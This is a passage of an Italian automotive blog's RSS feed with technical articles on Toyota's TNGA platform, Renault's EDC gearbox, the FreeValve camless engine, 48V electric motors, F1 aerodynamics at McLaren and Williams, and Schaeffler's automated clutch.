Il costruttore giapponese ha denominato questa nuova piattaforma tecnica con il nome di Toyota New Global Architecture (Tnga), un progetto che ha come priorità di migliorare al massimo l&#8217;efficienza delle attuali unità a benzina, abbinato ad una riduzione sostanziale del peso di tutta la vettura per migliorare l&#8217;efficienza, ogni cavallo dovrà essere tirato fuori usando meno carburante e dovrà fare meno fatica portandosi appresso il minimo di peso indispensabile. Ci sono anche affinamenti per la dinamica del veicolo come l&#8217;abbassamento del baricentro che non  disdegna di conservare un certo piacere di guida per vetture che sono nate con un occhio particolare al risparmio di carburante.  Tutti i propulsori aumenteranno la loro potenza del 10% minimo pur ottenendo comunque una riduzione dei consumi del 20% dei consumi, montati su veicoli che avranno una particolare cura per gli aspetti aerodinamici oltre che il già citato studiata riduzione di peso.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Renault &#124; EDC, il cambio automatico a doppia frizione fluido ed efficace</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 01 Dec 2016 15:31:48 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Renault adotta per la maggioranza dei suoi modelli presenti sul mercato un cambio automatico a doppia frizione denominato EDC (Efficient Dual Clutch), un tipo di cambio che consente rispetto alle convenzionali unità automatiche con convertitore di coppia,  di ridurre i consumi  fino al 17%, dichiarati secondo le norme di omologazione vigenti.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/12/01/renault-edc-doppia-frizione/">Renault | EDC, il cambio automatico a doppia frizione fluido ed efficace</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[
<p class="Introduction wp-block-paragraph"><a href="https://www.giornalemotori.com/tag/renault/" data-type="post_tag" data-id="390">Renault </a>adotta per la maggioranza dei suoi modelli presenti sul mercato un cambio automatico a doppia frizione denominato EDC (Efficient Dual Clutch), un tipo di cambio che consente rispetto alle convenzionali unità automatiche con convertitore di coppia,  di ridurre i consumi  fino al 17%, dichiarati secondo le norme di omologazione vigenti. Si tratta di un cambio automatico che utilizza una  doppia frizione a secco  azionata da attuatori elettromeccanici comandate da una centralina elettronica.  Una trasmissione che consente di controllare agevolmente coppie espresse dal motore partendo da 240Nm, per un peso ridotto di 82kg comprensivo di volano bimassa, e dalle dimensioni contenute con una lunghezza di 384 mm. Questa trasmissione utilizza per il suo funzionamento 17,2 litri di olio specifico per trasmissioni automatiche.</p>



<p class="Introduction wp-block-paragraph">Nella modalità automatica&nbsp;&nbsp;i cambi di marcia cono estremamente dolci, con una centralina elettronica che gestisce la selezione del rapporto ideale. &nbsp;Il sistema a doppia frizione consente di averne una&nbsp;dedicata alle marce dispari &nbsp;quindi 1 <sup>°</sup> , 3 <sup>°</sup> e 5 <sup>°</sup>, mentre una seconda frizione controlla le marce pari &nbsp;come la 2&nbsp;, 4 &nbsp;,6 <sup>° &nbsp; </sup>e la retromarcia. &nbsp;Gli ingranaggi del cambio sono calettati su&nbsp;quattro alberi, &nbsp;due primari concentrici collegati ognuno ad una frizione &nbsp;e due alberi secondari. La selezione delle marce avviene tramite sincronizzatori,&nbsp;esattamente come avviene per un normale cambio&nbsp;manuale, anch&#8217;essi azionati da attuatori elettromeccanici controllati dalla centralina elettronica. In questo modo si ha una marcia inserita mentre viene messa già in preselezione la successiva.</p>



<p class="Introduction wp-block-paragraph">La logica di funzionamento prevede che ogni cambio marcia avvenga in prossimità del regime massimo di coppia erogata dal motore con un passaggio delle marce fluido e senza soluzione di continuità tra un rapporto e l&#8217;altro<b>.&nbsp;</b>&nbsp;Durante i cambi marcia una delle&nbsp;frizione viene chiusa trasmettendo coppia motrice alla marcia selezionata, &nbsp;mentre l&#8217;altra rimane aperta collegata alla marcia successiva. Al momento opportuno, &nbsp;la seconda frizione interviene inserendo la marcia, mentre la prima prepara &nbsp;a sua volta la marcia successiva e così via. &nbsp; L&#8217; inserimento delle 6 marce avviene con un tempo ridotto di 290 millisecondi, tempo che &nbsp;consente al cambio automatico EDC di &nbsp;fornire anche una certa reattività ai comandi adattandosi alle varie esigenze del pilota. Una velocità di cambiata paragonabile a quella che si avrebbe se il cambio avvenisse in modo manuale con la frizione a pedale. La versatilità e le prestazioni della trasmissione EDC, rende il cambio adattabile come soluzione unica anche per modelli sportivi come la versione RS della Clio con 200cv. Nel caso il driver abbia necessità il cambio può essere usato in modalità manuale con le levette dietro il volante. &nbsp;Una modalità che rimane tipica dei cambi automatici a convertitore di coppia è lo spostamento al minimo quando il conducente rilascia il pedale del freno, consentendo di gestire al meglio le manovre a bassa velocità, con un aiuto per le partenze in salita.</p>



<p class="Introduction wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="Introduction wp-block-paragraph">&nbsp;</p>
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		<title>Qoros &#124; Al debutto il motore FreeValve per il suo 1.6 litri da 230cv</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 24 Nov 2016 08:24:32 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>Questa tecnologia parte dal progetto FreeValve, sviluppato da un ramo della Koenigsegg, e sarà per la prima volta vista in produzione per un nuovo costruttore la Cinese Qoros. Al  Guangzhou Auto Show è stato appunto esposto il primo esemplare di questo propulsore ed il modello che ne avrà benefici sotto il cofano.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/11/24/qoros-freevalve/">Qoros | Al debutto il motore FreeValve per il suo 1.6 litri da 230cv</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[
<p class="wp-block-paragraph">In un mondo che vede sempre più obsoleta la tecnologia del motore endotermico a favore di quello elettrico, trovare chi nel campo automotive ancora crede nello sviluppo di questo propulsore è cosa quanto mai rara. Per fortuna c&#8217;è chi come i tecnici della nota casa costruttrice si ipercar la svedese Koenigsegg che hanno progettato un motore endotermico a benzina, classico a pistoni per intenderci, che funziona con una distribuzione che non fa uso dell&#8217;albero a camme. Per intenderci esisteva già il sistema Multiair Fiat dal 2009 per come doveva essere nei piano di origine nello sviluppo con Valeo poi ridimensionata conservando gli alberi a camme, ma gli svedesi della FreeValve, metteranno appunto la tecnologia QamFree per la prima volta vista in produzione per un nuovo costruttore la Cinese Qoros. Al &nbsp;Guangzhou Auto Show è stato appunto esposto il primo esemplare di questo propulsore ed il modello che ne avrà benefici sotto il cofano.</p>



<p class="wp-block-paragraph">Il motore QamFree funziona con &nbsp;al posto delle camme degli attuatori pneumatici-idraulici controllati elettronicamente per il comando alzata della valvola, un risparmio in termini di rendimento meccanico considerevole e che consente di tenere sempre l&#8217;alzata delle valvole ottimale in funzione delle esigenze di utilizzo e di combustione del carburante. In sostanza si ottiene una maggiore precisione nella definizione del movimento delle valvole in base alle esigenze con miglioramento per i consumi e un considerevole aumento delle prestazioni. &nbsp;Il motore QamFree previsto per la Qoros è un 1,6 litri, quattro cilindri raggiunge la ragguardevole potenza di 230 cavalli e 320 Nm di coppia.</p>



<p class="wp-block-paragraph">La tecnologia FreeValve riesce ad ottenere il 47 % in più di potenza e il 45 % di coppia in più rispetto ad un 1.6 litri con il classico albero a camme, con un miglioramento dell&#8217;affidabilità nell&#8217;uso comune del 15%. Il motore&nbsp;QamFree risulta anche più economico dal punto di vista della produzione, ovviamente più leggero e compatto di un motore analogo. Questo motore grazie all&#8217;alzata delle valvole ottenuta con un comando indipendente, può fare a meno anche di elementi come il classico corpo farfallato, sfruttando al meglio l&#8217; iniezione diretta.&nbsp;Questa soluzione tecnica sarà appannaggio anche delle future motorizzazioni che equipaggeranno le prossime ipercar Koenigsegg, ma la FreeValve è disponibile a concedere la licenza o la tecnologia anche ad altri brand per recuperare i costi di investimento. Abbiamo già parlato delle somiglianze del sistema svedese con il&nbsp;Multiair di Fiat, per come doveva essere. &nbsp;Lo sviluppo da parte dei tecnici FreeValve di una tecnologia senza albero a camme dimostra che anche i tecnici italiani avevano visto giusto nel credere in questa soluzione, andava solo perseguita con maggiore convinzione.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>



<p class="wp-block-paragraph">&nbsp;</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/11/24/qoros-freevalve/">Qoros | Al debutto il motore FreeValve per il suo 1.6 litri da 230cv</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>Best Engine &#124; Motori ad induzione 48v, il futuro della trazione elettrica</title>
		<link>https://www.giornalemotori.com/2016/08/31/best-engine-motori-ad-induzione-48v-futuro-della-trazione-elettrica/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=best-engine-motori-ad-induzione-48v-futuro-della-trazione-elettrica</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 31 Aug 2016 10:32:54 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>L'altra strada è quella di usare i motori a 48V che hanno  necessità di isolamento molto più limitate, sono più contenuti nelle dimensioni, quindi più autovetture.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/08/31/best-engine-motori-ad-induzione-48v-futuro-della-trazione-elettrica/">Best Engine | Motori ad induzione 48v, il futuro della trazione elettrica</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Una cosa è certa, il futuro dell&#8217;auto non sarà a combustione interna. La tecnologia endotermica ha raggiunto forse i limiti di sviluppo al punto di costringere i produttori a trovare altre strade più economiche per rispettare i severi limiti che le normative antinquinamento impongono anno dopo anno. La tecnologia più immediata ed a buon mercato è quella della propulsione elettrica. A riguardo i tecnici stanno seguendo due tipi di strade. Una che porta a sviluppare&nbsp;unità motrici ad alta tensione, sulla convinzione in questo modo si possa abbassare le perdite all&#8217;interno degli avvolgimenti, una teoria che però non trova riscontro pratico. L&#8217;unico vantaggio che realmente hanno tensioni superiori è la possibilità di avere un filo più con ridotta trasversale, cosa vantaggiosa nel caso si parli di avvolgimenti particolarmente complessi. Un vantaggio che deve fare i conti con i costi per l&#8217; isolamento del sistema per restare nel massimo della sicurezza e una maggiore complessità intrinseca.</p>



<p class="wp-block-paragraph">L&#8217;altra strada è quella di usare i motori a 48V che hanno&nbsp; necessità di isolamento molto più limitate, sono più contenuti nelle dimensioni, quindi più autovetture. &nbsp;Il problema sta nel dover raggiungere la stessa potenza delle unità ad alta tensione. &nbsp;Recenti sviluppi hanno portato alla concezione di un motore basato su una macchina ad induzione, che in inglese porta il nome di &nbsp;Intelligent Store Cage Drive, o ISCAD, grazie ad uno studio della Feaam, un&#8217;azienda tedesca all&#8217;avanguardia in queste tecnologie per l&#8217;autotrazione, e l&#8217;università di Monaco di Baviera.&nbsp;Il motore ha un classico statore situato in una gabbia di &nbsp;alluminio aperto ad uno dei due lati. Questo sistema consente di avere correnti non elevate, con un ottimo raffreddamento delle parti. La novità tecnica sta nel fatto che lo statore è collegato a delle barre ognuna delle quali produce una fase distinta di corrente, una soluzione che consente di superare il limite dei motori a tre fasi.</p>



<p class="wp-block-paragraph">I vantaggi pratici sono, &nbsp;il miglioramento della coppia in maniera massiccia, il controllo del numero delle fasi permette di avere una corrente molto più omogenea e sfruttabile potendo contare su un numero variabile di fasi fino a 60-fasi come si vede nelle figure a lato dove si nota l&#8217;andamento molto più lineare delle curve di funzionamento dei due tipi di motori, oltre che ad una maggiore affidabilità. In un motore trifase, se una o due delle fasi si interrompe il motore si ferma, in un 60-fasi il motore può ancora andare bene con un piccolo calo di potenza anche con molteplici rotture di fasi, anzi questa soluzione potrebbe essere sfruttata per un utilizzo della coppia in funzione del fabbisogno necessario per un risparmio maggiore di energia, un sistema molto simile a quello che oggi si trova nei motori endotermici, con il cylinder on demand.</p>



<p class="wp-block-paragraph">Questo tipo di motori che possono raggiungere potenza di 160Kw, ovvero 220cv circa, conservano un&#8217;efficienza del 97% costante, rispetto al rendimento del 94% di picco dei motori trifase classici. Questa nuova tecnologia per motori a 48v necessitava anche di una sistema di conversione specifico rispetto ai classici sistemi con&nbsp;transistor bipolari. Questo tipo di motore usa un sistema di controllo e conversione chiamato&nbsp;MOSFET che permette una relazione lineare tra la corrente e la&nbsp;tensione, migliorando l&#8217;efficienza soprattutto a carico parziale. Infine, la compattezza e la facilità di realizzazione, rendono perfettamente funzionale per l&#8217;utilizzo in campo automobilistico soprattutto di telaio già esistenti.&nbsp;I motori a 48 V necessitano anche di una diversa tecnologia per quello che riguarda le batterie. La batteria specifica ha un minore volume per effetto di una sistema di raffreddamento più piccolo. Vien da se che una batteria più piccola e anche più efficiente consentendo un migliore utilizzo degli spazi della vettura con risparmio di peso. La disposizione in celle delle batterie &nbsp;parallele &nbsp;piuttosto che in serie, consente anche di poter aumentare la durata delle stesse. Nuove batterie possono consentono anche di usare nuovi sistemi di ricarica più rapidi ed efficienti.</p>



<p class="wp-block-paragraph">Il risultato finale a parità di potenza è di un risparmio netto rispetto alla tecnologia che oggi viene usata al alta tensione per esempio nelle &nbsp;Tesla e del&nbsp; 25% &nbsp;del&nbsp;consumo di energia corrispondente per ogni 100 km &nbsp;percorsi. (https://www.giornalemotori.com/2016/02/14/engine-tesla-model-s/ ) Oggi questo tipo di motori sono allo studio nei centri ricerche dei più importanti marchi del mondo. Più volte nei nostri articoli, abbiamo parlato di modelli ibridi che usano motori a 48v. Questa tipologia di propulsione &nbsp;è allo studio di case come Continental e Michelin che che inglobano sistemi nelle ruote già trattati in un articolo dedicato, (https://www.giornalemotori.com/2014/07/29/motore-elettrico-per-auto-allinterno-delle-ruote/ ), oppure possono essere inglobati nel sistema di sospensioni già esistenti come ha dimostrato la stessa Audi nei recenti modelli Ibridi che riescono a sfruttare il movimento generato dagli ammortizzatori per generare corrente elettrica per le batterie.&nbsp;Ma la forza di questa nuova tecnologia elettrica, è che consente di sfruttare tecnologie per telaio e sospensioni già esistenti con piccoli adattamenti come dimostrano progetti in corso di Zf che tratteremo nello specifico , ma &nbsp;sono anche allo studio moduli per propulsioni ibride con motori a 48v applicabili a vetture già in listino, da parte di Schaeffler, consentendo l&#8217;adeguamento del parco auto esistente o immediatamente futuro con un dispendio economico delle case produttrici relativamente contenuti.</p>


<div class="wp-block-image wp-image-62176 size-medium">
<figure class="alignleft"><img decoding="async" src="https://www.giornalemotori.com/wp-content/uploads//2016/08/zf-s-new-modular-rear-axle-has-steering-and-electric-drive-options_3.jpg" alt="zf-s-new-modular-rear-axle-has-steering-and-electric-drive-options_3" class="wp-image-62176" title="Best Engine | Motori ad induzione 48v, il futuro della trazione elettrica 943"><figcaption class="wp-element-caption">Sistema ZF adattabile a schemi sospensioni esistenti</figcaption></figure>
</div>


<p class="wp-block-paragraph">Infine questa tecnologia può essere usato nei veicoli a trazione integrale per limitare la presenza di organi di trasmissione ingombranti il cui rendimento nuoce ai consumi in modo anche considerevole. In sostanza il futuro dell&#8217;elettrico è tracciato e passa per la tecnologia dei motori a 48v. Esistono moduli con motori a 48v talmente versatili di Bosch adattabili al telaio di una bicicletta per la pedalata assistita con batteria. Quindi tutto oro quello che luccica? In effetti il problema più grosso sta proprio nella crescente domanda. Molti costruttori non sono attrezzati per produrre questo tipo di motori essendo prevalentemente aziende di tipo meccanico. Un esempio su tutti è la Delphy. Il colosso americano di componentistica per automotive, sta tentando di trovare un accordo vantaggioso &nbsp;con un produttore esterno per dotare i suoi moduli con motori elettrici 48v. Il problema è che anche altri produttori stanno tentando la stessa strada con un evidente difficoltà nelle forniture. In ogni caso la strada è stata tracciata, per arrivare a veicoli ZEV, si deve passare per la tecnologia di motori a 48v.</p>



<p class="wp-block-paragraph"><strong>Daniele Amore</strong></p>
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		<title>McLaren Honda, il dettaglio della nuova ala posteriore</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Sat, 09 Jul 2016 06:57:20 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>La McLaren è andata sorprendentemente bene nel Gp di Austria. Uno dei dettagli che più di tutti è risaltato agli occhi è la paratia dell'alettone posteriore. </p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-61319" src="https://www.giornalemotori.com/wp-content/uploads//2016/07/aut-mclaren-rwep-300x240.jpg" alt="aut-mclaren-rwep" width="300" height="240" title="McLaren Honda, il dettaglio della nuova ala posteriore 944">La McLaren è andata sorprendentemente bene nel Gp di Austria. Uno dei dettagli che più di tutti è risaltato agli occhi è la paratia dell&#8217;alettone posteriore. In questa zona ci sono numerose aperture sia nella parte iniziale che finale della paratia. Le aperture hanno diverso andamento in funzione della quantità d&#8217;aria che arriva ed il tipo di flusso che deve essere sfruttato per far lavorare le diverse zone dell&#8217;ala posteriore. Lo scopo comune di tutte le aperture, è quello di prendere l&#8217;aria che passa all&#8217;esterno dell&#8217;ala posteriore per farla entrare nel centro. La compensazione delle velocità dei due flussi serve ad evitare che ci siano vortici nocivi nella parte più importante dell&#8217;ala posteriore. Se si pensa bene per anni le paratie sono stare lisce e separavano in modo netto di due flussi aria interno ed esterno per evitare che la loro interazione potesse creare problemi al carico aerodinamico. Oggi invece attraverso modelli di simulazione e di verifica in galleria del vento sempre più complessi,  si è compreso che la differenza di pressione tra i due flussi può essere gestita ed utilizzata per avere maggiore carico con una migliore efficienza.  Uno dei primi effetti positivi dovrebbe essere quello di avere un maggiore bilanciamento del retrotreno e delle reazioni della monoposto più omogenee. Lo studio così profondo di questa zona dell&#8217;ala posteriore dimostra come la cura per il dettaglio sia una delle armi che i progettisti hanno per raggiungere un grado di efficienza massimo senza perdere carico aerodinamico.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>F1: Prove tecniche per il 2017 da parte della Williams nei test di Barcellona</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Fri, 03 Jun 2016 07:29:13 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Auto]]></category>
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					<description><![CDATA[<p>La Williams è uno dei team che si trova più in difficoltà nel tenere il passo dei team di punta.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-60428" src="https://www.giornalemotori.com/wp-content/uploads//2016/06/esp-williams-rw-300x240.jpg" alt="esp-williams-rw" width="300" height="240" title="F1: Prove tecniche per il 2017 da parte della Williams nei test di Barcellona 945">La Williams è uno dei team che si trova più in difficoltà nel tenere il passo dei team di punta. Nei passati test di Barcellona il team britannico ha comunque dato segni di grande vitalità presentando una innovativa ala posteriore composta da un profilo alare superiore.  Si tratterebbe di un anticipo di quello che si potrebbe vedere sulla prossima monoposto. Infatti questa soluzione usata sulla FW38 di quest&#8217;anno sarebbe contro il regolamento. In sostanza i tecnici Williams stanno guardando al futuro.  C&#8217;è da capire se la nuova posizione del alettone aggiuntivo con due alette laterali ha la sola funzione di generare più carico andando a prendere un flusso aria pulito nella zona superiore oppure semplicemente tende a pulire il flusso aria che investe l&#8217;ala principale. I più esperti, gli appassionati che seguono la F1 da più anni,  ricorderanno che varie volte nel corso dei passati decenni ci sono state soluzioni simili.  La sensazione che i tecnici della Williams stavano valutando l&#8217;andamento dei flussi piuttosto che il carico, si nota dalla diversa configurazione anche della parte inferiore dell&#8217;ala. La mancanza del sedile della scimmia all&#8217;altezza dello scarico. In questa zona interna alle ruote posteriori ci sono dei profili neutri che hanno il compito di raddrizzare e indirizzare il flusso aria. Inoltre si pensa che questa soluzione con un profilo alare superiore avanzato possa essere utile nelle fasi di apertura del DRS per migliorare l&#8217;efficienza quando l&#8217;ala principale perde il profilo alare che si apre.</p>
<p style="text-align: justify">L&#8217;occasione i test di Barcellona per capire meglio cosa potrebbe realmente accadere in pista con le nuove norme che vanno a ripensare la parte posteriore della monoposto. Ma la cosa interessante sta nel fatto che non solo è stata messa sotto controllo tutto l&#8217;ala posteriore, ma il monitoraggio è stato fatto partendo dal muso, con un grosso sensore che controllava il flusso aria che investe la monoposto. Questo per l&#8217;ormai solito discorso che una monoposto non è composta da componenti assestanti, e che per far lavorare una nuova ala posteriore come un profilo estrattore questo comincia lavorando con il flusso aria che arriva dall&#8217;avantreno.  La dimostrazione che nonostante le avanzate tecnologia della galleria del vento, la pista non ha rivali per lo sviluppo delle soluzioni future.</p>
<p style="text-align: justify"><strong>Daniele Amore </strong></p>
<p>&nbsp;</p>
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		<title>Le modifiche al muso della Williams al Gp del Bahrain</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 14 Apr 2016 06:46:52 +0000</pubDate>
				<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Nonostante il brutto gp di Barhain con la scellerata scelta di gomme che ha messo in difficoltà la Williams, il team britannico ha prodotto uno sforzo notevole per aggiornare la parte anteriore della monoposto</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/04/14/f1-williams-barhain/">Le modifiche al muso della Williams al Gp del Bahrain</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59028" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/5c511a339b7ba6ed31085a7d5c9fc28d-300x200.jpg" alt="5c511a339b7ba6ed31085a7d5c9fc28d" width="300" height="200" title="Le modifiche al muso della Williams al Gp del Bahrain 946">Nonostante il brutto gp di Barhain con la scellerata scelta di gomme che ha messo in difficoltà la Williams, il team britannico ha prodotto uno sforzo notevole per aggiornare la parte anteriore della monoposto. Le modifiche hanno visto interessata l&#8217;ala anteriore, il muso ed i deflettori lungo le fiancate. Partendo dall&#8217;ala anteriore la paratia verticale ai lati del piccolo deflettore che si trova nella parte superiore dell&#8217;ala, non è più un pezzo unico, ma è stata ricavata una feritoia per permettere il passaggio dell&#8217;aria riducendo la pressione. Come sempre teniamo a ribadire, l&#8217;ala anteriore di una F1 non ha solo il compito di generare carico aerodinamico, ma quanto anche il compito di indirizzare il flusso aria nella parte sottostante della vettura. L&#8217;aria che arriva ad infrangersi contro il muso attraverso i vari profili alari e deflettori si scompone inviando una parte consistente sotto il fondo vettura, poi bisogna controllare le turbolenze del flusso interno alle ruote, e cercare di togliere pressione dalla massa di aria che si infrange contro la ruota anteriore. La piccola paratia modificata dai tecnici Williams per quanto di ridotte dimensioni appartiene ad un componente che in piccolo ha la stessa logica di funzionamento di ogni ala di maggiori dimensioni. Nel caso ci sia un eccesso di pressione, questa va scaricata facendo defluire l&#8217;aria ai lati. Il flusso aria che ne fuoriesce viene indirizzato sotto il centro vettura.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59032" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/Williams-GP-Bahrai-1-300x200.jpg" alt="Williams-GP-Bahrai 1" width="300" height="200" title="Le modifiche al muso della Williams al Gp del Bahrain 947">Sotto il muso la Williams ha adottato anche dei profili svergolati che hanno il compito di separare il flusso aria che passa sotto il muso da quello che passa vicino alla ruota sottoposto a turbolenza. La cosa che preme far notare è la differenza di spessore, di forma e di incurvatura dei tre profili. Una soluzione che rende idea di come sia complesso il moto d&#8217;aria in quella zona. Non si può indirizzare il flusso con un solo tipo di appendice, ma ogni singolo profilo lavora in modo indipendente investito da un determinato flusso aria con una finalità diversa da quello che lo precede. Un modo per capire la complessità che i tecnici affrontano quando devono far lavorare le vetture nella galleria del vento e la quantità di parametri che devono considerare quando si ha a che fare con i fluissi aria.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59033" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/f1-bahrain-gp-2016-williams-2-300x200.jpeg" alt="f1-bahrain-gp-2016-williams 2" width="300" height="200" title="Le modifiche al muso della Williams al Gp del Bahrain 948">Il terzo dettaglio è la modifica del deflettore che si pone davanti alle fiancate, una modifica già vista sulla Mercedes e di cui abbiamo già parlato. Lo scopo del deflettore in questione è quello di separare nettamente il flusso aria che arriva dalle ruote ed investe la fiancata da quello che passa sotto il muso e fornisce carico al fondo della vettura. Il flusso centrale deve essere sempre lineare senza disturbo. Scomporre questo pannello in tanti piccoli profili collegati tra di loro, ha lo scopo di portare maggiore aria al fondo di quanto ne arrivi da sotto il muso e nel contempo tenerla anche lineare senza turbolenze. Il fatto che anche la Williams usi lo stesso pannello già visto sulla Mercedes indica che il concetto è verosimilmente funzionale al carico.</p>
<p><strong>Daniele Amore</strong></p>
<p>&nbsp;</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/04/14/f1-williams-barhain/">Le modifiche al muso della Williams al Gp del Bahrain</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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		<title>La frizione automatica secondo Schaeffler</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Wed, 13 Apr 2016 10:27:11 +0000</pubDate>
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		<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
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					<description><![CDATA[<p>Schaeffler sta fornendo soluzioni automatiche intelligenti per i sistemi di frizione in particolare sistemi fino ad oggi azionati mediante comandi meccanici o idraulici.</p>
<p>L'articolo <a rel="nofollow" href="https://www.giornalemotori.com/2016/04/13/schaeffler-e-clutch/">La frizione automatica secondo Schaeffler</a> proviene da <a rel="nofollow" href="https://www.giornalemotori.com">Giornalemotori</a>.</p>
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										<content:encoded><![CDATA[<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59020" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/0009429B-300x225.jpg" alt="0009429B" width="300" height="225" title="La frizione automatica secondo Schaeffler 949">Schaeffler sta fornendo soluzioni automatiche intelligenti per i sistemi di frizione in particolare sistemi fino ad oggi azionati mediante comandi meccanici o idraulici. Il sistema chiamato &#8220;e-Clutch&#8221; prevede di automatizzare tutte le funzioni tipiche della frizione durante la marcia.  Un sistema automatizzato permette un notevole risparmio di carburante, soprattutto quando si abbina la frizione automatica ai classici cambi manuali. In sostanza questo sistema permette di avere una terza via tra il manuale ortodosso, ed il cambio automatico, creando una terza via ibrida che automatizza solo il comando della frizione lasciando al pilota il compito di decidere la marcia. In futuro saranno molti i costruttori che metteranno a disposizione dei propri clienti anche per modelli di medio bassa fascia di mercato di modelli con frizione automatica di basso e medio livello del mercato europeo. Già oggi l&#8217;orientamento del mercato sta andando verso il cambio automatico con una percentuale vicina al 50% nel mercato globale.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59021" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/0009427D-300x121.jpg" alt="0009427D" width="300" height="121" title="La frizione automatica secondo Schaeffler 950" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/04/0009427D-300x121.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/04/0009427D.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" />Schaeffler ha sviluppato un la sua e-Clutch con tre livelli di automazione. Si parte da una variante denominata MTplus, che mantiene il sistema di trasmissione idraulica ma con l&#8217;aggiunta di un attuatore che controlla la pressione per l&#8217;inserimento e disinserimento. Con questa soluzione i tempi di azionamento si riducono, lo sforzo si abbassa. Vantaggi netti già nella configurazione base, a costi contenuti per il clienti finale con minime differenze rispetto ad un componente standard. La riduzione dei consumi passa sfruttando i momenti di disconnessione della frizione dal motore staccandolo completamente dalla trasmissione riducendo le predite e migliorando l&#8217;efficienza.  Nei cicli di omologazione per i consumi, il sistema MTplus ha garantito una riduzione minima del 2%  dei consumi fino ad una più ottimistica previsione nella migliore delle ipotesi del 8% nel ciclo urbano più intenso e gravoso secondo le specifiche di omologazione eurpeee.</p>
<p style="text-align: justify"><img decoding="async" class="alignleft size-medium wp-image-59022" src="https://www.giornalemotori.com/wp-content/uploads//2016/04/00094271-300x146.jpg" alt="00094271" width="300" height="146" title="La frizione automatica secondo Schaeffler 951" srcset="https://www.giornalemotori.com/wp-content/uploads/2016/04/00094271-300x146.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2016/04/00094271.jpg 500w" sizes="(max-width: 300px) 100vw, 300px" />Il secondo step della e-Clutch  sostituisce tutta la parte meccanica ed idraulico dell&#8217;impianto che comanda la frizione.  Il comando del pedale esiste ancora, ma aziona la frizione come un interruttore. Un sensore invia un segnale circa la posizione del pedale ad un attuatore che comanda la frizione. Il conducente preme il pedale come se fosse un normale cambio manuale senza rendersi conto che la frizione viene comandata by-wire. Un attuatore adattativo permette di controllare l&#8217;effettiva necessità interfacciando le posizioni del pedale con le reali necessità di motore e trasmissione.  Quello che potrebbe sembrare complicato invece è applicabile secondo Schaffler alla maggioranza dei veicoli in commercio riducendo notevolmente i costi.  Questo sistema permetterebbe ai guidatori che non rinuncerebbero mai ad un cambio manuale di avere tutti i pregi di quest&#8217;ultimo pur avendo le comodità di un cambio automatico.  In vantaggi di questo sistema sono quello di avere un azionamento molto più rapido soprattutto in condizioni di frenata di emergenza. Per i driver più sportivi di avere cambiate molto più rapide con un inserimento della frizione più tempestivo potendo cambiare anche modificare la logica di azionamento mediante varie mappature abbinandosi alle funzioni sport presenti sui veicoli moderni, funzione che fino ad oggi era appannaggio delle trasmissioni automatiche più evolute. Schaeffler dichiara che con questa frizione by-wire si può evere una riduzione di consumi nella 